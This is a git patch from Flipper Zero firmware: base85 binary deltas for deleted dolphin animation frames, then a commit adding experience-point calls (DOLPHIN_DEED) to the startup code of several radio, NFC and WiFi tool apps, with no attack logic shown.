zk9dMEYra=}VdTrcsr^=G@1}7#iN~FTAku0)BqT}_67n{2kZy6-7J>Lgl-ugrF`--5 z<@ktvkXV<)>(_BRrnr^Os2n{%m7f0KGZrq6PV~0zT$wX{eH_^%X@O6oZSYg_$@Wu{ z3!xGJpiMr!_F2R2tYTx!&Ds}G*+NxeyNfleixZPqv+Hd2x&?o=liQItpoyvihMz?8 zTSuoLHM%P_yx%!bjy<&S!BvFsV;K3Ph8i`n=?1BCC@MN82oHP=jct> zxgLq`Ce@|LihFq{PRh$R?%=3GV0*!MHt+5imzH?>37?LsX-#+?;j`oug}=2TBxzrcF2LP{m@5faO>ct`Sh4{8&eU zaixF~&z91qx)3ZG7iZ|Pn2cGmij2hyo{};>$YGj^4+zv4fx;$ripIb<2`Cm`K6o~p zX%yH3Ar=cLGHDbXqSa$CD}WV1r-qvFG=vi508i5^Rs3jC*dPUX6Ht-~LdU1kj7DRC zkr|-XC(#%@9*;&xXb3_D2&y4nL!c(A#xTK5F~A|h3<^E2BXF$-HglqKZ7Lz4P(VBU zHa@jZDt$+WJnp&kYzG!2jp2K0v>hFCD6Y0;QLo2pk}p=p?g zm@t$=sd(qFOVy`X(orgCSPG^FPy^_d@j;j25^2;s53>YGxLRlN0%CuFByiPxu|9~+ z++s;*XduA-9q$L|x4B!u040_3MOsCwIXsC-Kr#2vS85fwl5ctBuy`CMgDaljJQvvb-9Pn`2N=%NhF)GGZF{msS3#H0= z9F&R#2C{)2(4*K8irIP`R3(}+G%7Qd5>O!u4#sB5xl|qxgv4UgIaHLZ;85j(m_ms$ z7%DbfZlO{t_+eVT8U@3NtI;Hkrqd)@8q9+8gQFw@3KB37xWy8cf)Xm=AfQCznpD$! zXe_SAVhGf%CW8~mcVe{z>e>#It zAA;8^aaH>NLYpTKJZ)ge#kc|VpKdV?%%~V_$-vvdYYJ|eN-%7h6ns=Mkb(hC!<3dd z0oOp2A{o^rVPN$bEZ4Vo{0~Y26cb&cl*_3I8{tw}N)Cg{!x$9Trho#`Q+WFw1HB3G;Tm-!_e@kmCwgHR1PCU;5 zK~5*k7pYNOsRTwcA(4iXyRFCCjIp+&W_|}uV~9{05u#O_cjb^}vxq5SBTgj4=FMV! zwvz`0Ssj;%f@4irdKUC(PSEWR?>+v;KXZCVWSh0e)^Bd!-aKWt?}MwJ&E!iGZPmtM zll{k5cq>Y!SEC=ekxqM7^*bFA2N1=9v+QS|?TYq$!X!fuZBJj<_S7AVpIGi`f0gW$ zqwVuue=VV|KP|Iy)OgOb$D%`rj4kQVqRrb&TZd(P3x*WOCzIO?=+1gSwpDj=P@@ylN5h#lSa z+ntX_UyRQUThuN^y^xy;+ECzJg65s#S_l65xO}$gNVO;GNFIE(WgB;xaGi{ zdY@OfO$}d;?s=ZaQRn7aeP33RyC)&~*w&vy{qoC@Y)p&+*|e%J|KBWUA`VaU;$pI!3OBT94Jueh^>ok`A4GamHG> z0&<2S-v+lyVIZxM5{1pWEt(q!#Y1{|O9g>93 L5>?OmYUO_b_i;G3 delta 743 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 Ketkspvi|^s#EOOh delta 645 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 J+#Qy>>^~#Vgcbk* delta 968 zcmV;(12_EkC*=o_83+OZ003RI=qQsx5Ep*~mq|oHRCwC$TuE}oAPmI(|If~0DlVd> zX&Au95rDC{o{zT^cs2TY5)vU;m3of_@J`?| zf3ZUf&v1Ep{V;<8mg;DBO8~UzEzRYsDNRRPl73jXCi)VMnCBv|*}gqyr&G{BF9ARR z5CB9800IEws-l0Me@n-i8uOHZF7 zr}DC2+$rXHye>+qQqUW-*Y!vjG@KFu>pSXB1lZ7yp|-ZhtXTejhQn#B4&OC=*d-76 zpiNjq3S0qiG^J*dy8mUTRTq>B9*|*>ysoQ*$-|YawGq><``q0ON|~f%ySsnRjB+(W zDz-23UCIz&uRCpJL#rna^OYQ)FJ6J%rxd0$ZCy%nmYuZcn`|h*2M9riTWvaSCKS%Zk9z008N` zh{w`FrRM6BJHh%etj7TWh@kR9)Ec{aOO)r90JPpb!COG{9pS@|K-=sAI(E~12Vzo{ zLjp|y7XTnmJ=J128U9kY768OeI7$Ez07MA@0)S;VuijY4-BsZ)8mKEh^720r~-^#?(k#!Y`XsE7a{N&pZ5M0qO!-H8vQKJ)oa=EZ_*!3ql?6ZV!dOT&-R zTe=|3M~bh9G9sA&(4RyzKQdZnQn$1Koo-m=BN>{Lsqx0+F{Vi+2G6EN*SVnN)LzAgis*hX q0A0|c!r=fBU1RR9P1)|VY0)1Cvm|fWqOWcM0000pH+DSw~RCwC$TG?*IAPi*r|9@_)MnbGFhCm3}9Y0hXYRv2bcr!YI!3WG^0glz;SIi$10+&I@sxDCCzm-c~%j= zHTzBK*}&A<4ghm-W(?&8R$Z(l7$tZeonuS~U0FW8qc3`(cu?du<%J**t_!$Rih*}+ z|G`U6uZKK$ylw4*@R^uLrDjQcSxJ*;Z4Lmbh3MP^fcfej{5FYCk0nh$E9rfjY-l_H zq*j{r{=rC?R0IK_5C8%|*%N@S+xG$jvYGOBB0|J7R>c^m#3IuyV24Lqoe4T}d%mK| z902f?V;$+3J5IBbCg;&4N!yY+B!XGHyg?${TX?HZig_1L`#6P5`{;G-*P?IL1eU)EAXtMH3k@?0BhLJF-2m(MM00e+S00;nu m01yBQ0U!Vr0zd#Li{uwJCWgI;@ZFmL0000pHlu1NERCwC$T8cQkP#DBLrM9hJlm^ z=~OCQ0s=q)NCbcYkO;uG0DS$WV?@l;Bk6=cbWWKpX<~^MmH7eS`AhAECU5*klx0Hh zQj{1ajdL3)o*$Xlg3+5Vo+|=WJD{HC$u~7IrNy?G`-G>nDWqjD!Rj9YA()>p3L;wH zMHqwUw!Af1WBK)>vY0bXX|XMJe&rH6ca3e?%TS;l603#!mTACeB3*}OyTphI)3&T^ zN@ZeQx?X(N7GLQ`CX`Vx3w%TbHR%4iM;)=(o10-^!lEq`#+FeptC2pWkY=nS-WCzd z7nW%G;z6+qx#wEYSosoe@9FD05{J1b#AIxbzxok+ydBXB2>G}Po;lqG@zev2?Yx9Z zOhpg?5&<9pq|E^EQa!of3h6?2jDW0U2mpxy5C9SZAONIm0)RBvgL1C6 zA`^}CD|Jni03glvJJ5RNT}f9cZW!-2+6NA$Z^hE|^dea-ujiLAQxOD!L;wf?i2&?L-;fQB Ut~^uZ>i_@%07*qoM6N<$f+tx;A^-pY diff --git a/assets/dolphin/internal/thank_you_128x64/frame_8.png b/assets/dolphin/internal/thank_you_128x64/frame_8.png deleted file mode 100644 index 7eca54d710dc020720cb362b85328dc55659dae7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 735 zcmeAS@N?(olHy`uVBq!ia0vp^4M6O`!2~2@x4h5*Qk(@Ik;M!Qe1}1p@p%4<6b1&S ziJmTwAr-gY&UroQumVSG@csXDH_tumbBxtx&(>|fKQ5ju^`2eu<;Ir|_p~}SK_&vR z0K<=|pKZQ|Pvl_We)_TE&gH)~6?LhsIUCi!JpWqIc|!A2sUO1%{if)@pU>As#_&&n z;W~NwY)i%k@^bF$z16x!FQgSW-THMRCCrau#sh2LlRxY4UWoQ=E!58y4NcdaC(N)! z@O*j5=iI!|KkdA4`PCDFmM#NghMV#YpVx1(x{_9tcGogt!**+?3D!-u=kDyv=y`d! zd-3~ifmcoJeq39y*dmVg@XV!ZOGYQCl^O$@0>x^qg{)V@Wp6j)r;y<{rgw^8kziaWEie%>-F=xiQ z&;EAi?xR4br)Rg`vt?e*@S(ZySE&1hPj3r-KW5*p_#Tw~`QPT`%Cq4g3zj9{sdb*e ze9A8wnYrIi^hY&Jn{2Rpd{cZF$bCpiD> zP>`vyV$^*3(3NB2M3KoRk+Uubr8)k;9JRi4o|5f7=ivLU{>$R8`bX_lYB}L?DsiHk z_Zs`yQ)k`;%w7HUhpouk4yEIpR{zpWs?6JWQBe7z#rm|=ciM9MBjc5h$ZlT$YWrRO zA7A$O7Iw_8-SX%oP~oPR_v5|IQo5`kUXe-sWmv%h+yBtc%VpK#xBqQDEZ(N{<=vIS)5#Z_mBd_hIKaX3;QvW}|G<0elrO9Mfa2TJ L)z4*}Q$iB}zu-@} diff --git a/assets/dolphin/internal/thank_you_128x64/frame_9.png b/assets/dolphin/internal/thank_you_128x64/frame_9.png deleted file mode 100644 index 70715bf5f4cece33c17f4034e5fb607f8414c689..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 246 zcmeAS@N?(olHy`uVBq!ia0vp^4M6O`!2~2@x4h5*Qk(@Ik;M!Qe1}1p@p%4<6rkV= zPZ!6Kid%258gexl@HhmX{ri4RYY>N3cE>(@3yWtLRm`S}xq%H6U|?WkaA08IU|?Wm zP+(wS0oec-ba)rRxMJqNeXlYE*1Fs8OMVv?aQ4v2#ryv=e)w_d Date: Mon, 27 Mar 2023 06:00:36 +0100 Subject: [PATCH 280/329] Add XP to hacking apps --- applications/external/airmouse/air_mouse.c | 2 -- applications/external/dtmf_dolphin/dtmf_dolphin.c | 4 +++- applications/external/esp8266_deauth/esp8266_deauth.c | 2 ++ applications/external/flipfrid/flipfrid.c | 4 +++- applications/external/ibtn_fuzzer/ibtnfuzzer.c | 4 +++- applications/external/ir_remote/infrared_remote_app.c | 2 ++ applications/external/mfkey32/mfkey32.c | 2 ++ applications/external/mousejacker/mousejacker.c | 2 ++ applications/external/nfc_magic/nfc_magic.c | 2 ++ applications/external/nrf24scan/nrf24scan.c | 2 ++ applications/external/nrfsniff/nrfsniff.c | 2 ++ applications/external/picopass/picopass.c | 4 +++- applications/external/pocsag_pager/pocsag_pager_app.c | 2 ++ applications/external/protoview/app.c | 2 ++ applications/external/sentry_safe/sentry_safe.c | 4 +++- applications/external/spectrum_analyzer/spectrum_analyzer.c | 4 +++- applications/external/subghz_bruteforcer/subbrute.c | 4 +++- applications/external/subghz_playlist/playlist.c | 2 ++ applications/external/subghz_remote/subghz_remote_app.c | 2 ++ applications/external/totp/totp_app.c | 4 ---- applications/external/wifi_deauther/wifi_deauther_app.c | 2 ++ .../external/wifi_marauder_companion/wifi_marauder_app.c | 2 ++ 22 files changed, 47 insertions(+), 13 deletions(-) diff --git a/applications/external/airmouse/air_mouse.c b/applications/external/airmouse/air_mouse.c index 7a90e49f1..3bb7253b5 100644 --- a/applications/external/airmouse/air_mouse.c +++ b/applications/external/airmouse/air_mouse.c @@ -1,7 +1,6 @@ #include "air_mouse.h" #include -#include #include "tracking/imu/imu.h" @@ -146,7 +145,6 @@ int32_t air_mouse_app(void* p) { return -1; } - DOLPHIN_DEED(DolphinDeedPluginStart); view_dispatcher_run(app->view_dispatcher); imu_end(); diff --git a/applications/external/dtmf_dolphin/dtmf_dolphin.c b/applications/external/dtmf_dolphin/dtmf_dolphin.c index c1b10defa..732b22ef8 100644 --- a/applications/external/dtmf_dolphin/dtmf_dolphin.c +++ b/applications/external/dtmf_dolphin/dtmf_dolphin.c @@ -2,6 +2,7 @@ #include #include +#include static bool dtmf_dolphin_app_custom_event_callback(void* context, uint32_t event) { furi_assert(context); @@ -82,8 +83,9 @@ int32_t dtmf_dolphin_app(void* p) { UNUSED(p); DTMFDolphinApp* app = app_alloc(); + DOLPHIN_DEED(DolphinDeedPluginStart); view_dispatcher_run(app->view_dispatcher); app_free(app); return 0; -} \ No newline at end of file +} diff --git a/applications/external/esp8266_deauth/esp8266_deauth.c b/applications/external/esp8266_deauth/esp8266_deauth.c index fc165b932..3bf11928f 100644 --- a/applications/external/esp8266_deauth/esp8266_deauth.c +++ b/applications/external/esp8266_deauth/esp8266_deauth.c @@ -6,6 +6,7 @@ #include #include #include +#include //#include //#include //#include @@ -328,6 +329,7 @@ int32_t esp8266_deauth_app(void* p) { SWiFiDeauthApp* app = malloc(sizeof(SWiFiDeauthApp)); + DOLPHIN_DEED(DolphinDeedPluginStart); esp8266_deauth_app_init(app); furi_hal_gpio_init_simple(app->m_GpioButtons.pinButtonUp, GpioModeOutputPushPull); diff --git a/applications/external/flipfrid/flipfrid.c b/applications/external/flipfrid/flipfrid.c index 4f28be7b1..ff52ab160 100644 --- a/applications/external/flipfrid/flipfrid.c +++ b/applications/external/flipfrid/flipfrid.c @@ -5,6 +5,7 @@ #include "scene/flipfrid_scene_select_field.h" #include "scene/flipfrid_scene_run_attack.h" #include "scene/flipfrid_scene_load_custom_uids.h" +#include #define RFIDFUZZER_APP_FOLDER "/ext/lrfid/rfidfuzzer" @@ -117,6 +118,7 @@ int32_t flipfrid_start(void* p) { FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(FlipFridEvent)); FlipFridState* flipfrid_state = flipfrid_alloc(); + DOLPHIN_DEED(DolphinDeedPluginStart); flipfrid_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); if(!flipfrid_state->mutex) { FURI_LOG_E(TAG, "cannot create mutex\r\n"); @@ -268,4 +270,4 @@ int32_t flipfrid_start(void* p) { flipfrid_free(flipfrid_state); return 0; -} \ No newline at end of file +} diff --git a/applications/external/ibtn_fuzzer/ibtnfuzzer.c b/applications/external/ibtn_fuzzer/ibtnfuzzer.c index c5f2a5f7c..04d18886f 100644 --- a/applications/external/ibtn_fuzzer/ibtnfuzzer.c +++ b/applications/external/ibtn_fuzzer/ibtnfuzzer.c @@ -5,6 +5,7 @@ #include "scene/ibtnfuzzer_scene_select_field.h" #include "scene/ibtnfuzzer_scene_run_attack.h" #include "scene/ibtnfuzzer_scene_load_custom_uids.h" +#include #define IBTNFUZZER_APP_FOLDER "/ext/ibtnfuzzer" @@ -119,6 +120,7 @@ int32_t ibtnfuzzer_start(void* p) { FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(iBtnFuzzerEvent)); iBtnFuzzerState* ibtnfuzzer_state = ibtnfuzzer_alloc(); + DOLPHIN_DEED(DolphinDeedPluginStart); ibtnfuzzer_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); if(!ibtnfuzzer_state->mutex) { FURI_LOG_E(TAG, "cannot create mutex\r\n"); @@ -264,4 +266,4 @@ int32_t ibtnfuzzer_start(void* p) { ibtnfuzzer_free(ibtnfuzzer_state); return 0; -} \ No newline at end of file +} diff --git a/applications/external/ir_remote/infrared_remote_app.c b/applications/external/ir_remote/infrared_remote_app.c index 69e5ee083..7056fae89 100644 --- a/applications/external/ir_remote/infrared_remote_app.c +++ b/applications/external/ir_remote/infrared_remote_app.c @@ -5,6 +5,7 @@ #include #include #include +#include #include #include @@ -160,6 +161,7 @@ static void app_input_callback(InputEvent* input_event, void* ctx) { int32_t infrared_remote_app(void* p) { UNUSED(p); FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); + DOLPHIN_DEED(DolphinDeedPluginStart); // App button string IRApp* app = malloc(sizeof(IRApp)); diff --git a/applications/external/mfkey32/mfkey32.c b/applications/external/mfkey32/mfkey32.c index ac08d2ddc..48d6aa64f 100644 --- a/applications/external/mfkey32/mfkey32.c +++ b/applications/external/mfkey32/mfkey32.c @@ -21,6 +21,7 @@ #include #include #include +#include #define MF_CLASSIC_DICT_FLIPPER_PATH EXT_PATH("nfc/assets/mf_classic_dict.nfc") #define MF_CLASSIC_DICT_USER_PATH EXT_PATH("nfc/assets/mf_classic_dict_user.nfc") @@ -1189,6 +1190,7 @@ void start_mfkey32_thread(ProgramState* program_state) { int32_t mfkey32_main() { FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); + DOLPHIN_DEED(DolphinDeedPluginStart); ProgramState* program_state = malloc(sizeof(ProgramState)); mfkey32_state_init(program_state); diff --git a/applications/external/mousejacker/mousejacker.c b/applications/external/mousejacker/mousejacker.c index 9ef23983f..cc34d9485 100644 --- a/applications/external/mousejacker/mousejacker.c +++ b/applications/external/mousejacker/mousejacker.c @@ -11,6 +11,7 @@ #include #include "mousejacker_ducky.h" #include +#include #define TAG "mousejacker" #define LOGITECH_MAX_CHANNEL 85 @@ -286,6 +287,7 @@ void start_mjthread(PluginState* plugin_state) { int32_t mousejacker_app(void* p) { UNUSED(p); FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); + DOLPHIN_DEED(DolphinDeedPluginStart); PluginState* plugin_state = malloc(sizeof(PluginState)); mousejacker_state_init(plugin_state); diff --git a/applications/external/nfc_magic/nfc_magic.c b/applications/external/nfc_magic/nfc_magic.c index 1805f35ed..0a015ec77 100644 --- a/applications/external/nfc_magic/nfc_magic.c +++ b/applications/external/nfc_magic/nfc_magic.c @@ -1,4 +1,5 @@ #include "nfc_magic_i.h" +#include bool nfc_magic_custom_event_callback(void* context, uint32_t event) { furi_assert(context); @@ -160,6 +161,7 @@ int32_t nfc_magic_app(void* p) { UNUSED(p); NfcMagic* nfc_magic = nfc_magic_alloc(); + DOLPHIN_DEED(DolphinDeedPluginStart); scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneStart); view_dispatcher_run(nfc_magic->view_dispatcher); diff --git a/applications/external/nrf24scan/nrf24scan.c b/applications/external/nrf24scan/nrf24scan.c index d66e7caf6..1b0a42808 100644 --- a/applications/external/nrf24scan/nrf24scan.c +++ b/applications/external/nrf24scan/nrf24scan.c @@ -12,6 +12,7 @@ #include #include #include +#include #define TAG "nrf24scan" #define VERSION "2.2" @@ -1331,6 +1332,7 @@ static void render_callback(Canvas* const canvas, void* ctx) { int32_t nrf24scan_app(void* p) { UNUSED(p); APP = malloc(sizeof(Nrf24Scan)); + DOLPHIN_DEED(DolphinDeedPluginStart); APP->event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); APP->plugin_state = malloc(sizeof(PluginState)); APP->plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); diff --git a/applications/external/nrfsniff/nrfsniff.c b/applications/external/nrfsniff/nrfsniff.c index 56bc33d05..1c2ea543f 100644 --- a/applications/external/nrfsniff/nrfsniff.c +++ b/applications/external/nrfsniff/nrfsniff.c @@ -4,6 +4,7 @@ #include #include #include +#include #include #include @@ -314,6 +315,7 @@ static void start_sniffing() { int32_t nrfsniff_app(void* p) { UNUSED(p); + DOLPHIN_DEED(DolphinDeedPluginStart); uint8_t address[5] = {0}; uint32_t start = 0; hexlify(address, 5, top_address); diff --git a/applications/external/picopass/picopass.c b/applications/external/picopass/picopass.c index c1428b2fb..09283b080 100644 --- a/applications/external/picopass/picopass.c +++ b/applications/external/picopass/picopass.c @@ -1,4 +1,5 @@ #include "picopass_i.h" +#include #define TAG "PicoPass" @@ -191,6 +192,7 @@ int32_t picopass_app(void* p) { UNUSED(p); picopass_migrate_from_old_folder(); + DOLPHIN_DEED(DolphinDeedPluginStart); Picopass* picopass = picopass_alloc(); scene_manager_next_scene(picopass->scene_manager, PicopassSceneStart); @@ -200,4 +202,4 @@ int32_t picopass_app(void* p) { picopass_free(picopass); return 0; -} \ No newline at end of file +} diff --git a/applications/external/pocsag_pager/pocsag_pager_app.c b/applications/external/pocsag_pager/pocsag_pager_app.c index f5e989fba..d4b12c466 100644 --- a/applications/external/pocsag_pager/pocsag_pager_app.c +++ b/applications/external/pocsag_pager/pocsag_pager_app.c @@ -4,6 +4,7 @@ #include #include #include "protocols/protocol_items.h" +#include static bool pocsag_pager_app_custom_event_callback(void* context, uint32_t event) { furi_assert(context); @@ -198,6 +199,7 @@ int32_t pocsag_pager_app(void* p) { UNUSED(p); POCSAGPagerApp* pocsag_pager_app = pocsag_pager_app_alloc(); + DOLPHIN_DEED(DolphinDeedPluginStart); view_dispatcher_run(pocsag_pager_app->view_dispatcher); pocsag_pager_app_free(pocsag_pager_app); diff --git a/applications/external/protoview/app.c b/applications/external/protoview/app.c index 678c9d75f..2d3acccac 100644 --- a/applications/external/protoview/app.c +++ b/applications/external/protoview/app.c 